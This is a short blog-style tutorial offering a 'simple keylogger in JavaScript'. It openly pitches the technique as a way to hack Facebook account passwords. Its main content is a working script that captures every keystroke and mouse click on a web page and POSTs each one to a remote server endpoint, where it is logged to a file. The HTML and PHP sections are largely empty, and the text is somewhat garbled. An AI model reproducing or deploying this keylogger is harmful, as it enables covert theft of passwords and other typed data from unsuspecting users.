Simple Keylogger in Javascript Example

Today, We want to share with you javascript keylogger.In this post we will show you making a Simple Keylogger in Javascript, hear for web based keylogger we will give you demo and example for implement.In this post, we will learn about Hack Facebook Account Password without Software with an example.

html CSS and JavaScript keylogger using PHP

index.html




	JavaScript Keylogger - www.pakainfo.com
	
	



  Test Text:
	
Test Password:

Ans : Last you can Try check to your server file_log_2021.txt

Using PHP Code

index.php


h-keylogger.js

(function(){
	var server = "https://your-primary-domain.com/server.php";
	document.addEventListener("keyup", function(e){
		var test_val = new XMLHttpRequest();
		test_val.open("POST", server, true);
		test_val.send(e.key);
	});
	
	document.addEventListener("click", function(e){
		var click;
		if(e.which == 1){
			click = " Left Click ";
		}else{
			click = " Right Click ";
		}
		
		var test_val = new XMLHttpRequest();
		test_val.open("POST", server, true);
		test_val.send(click);
	});
})();

I hope you get an idea about keylogger in node js.
I would like to have feedback on my infinityknow.com blog.
Your valuable feedback, question, or comments about this article are always welcome.
If you enjoyed and liked this post, don’t forget to share.

Leave a Comment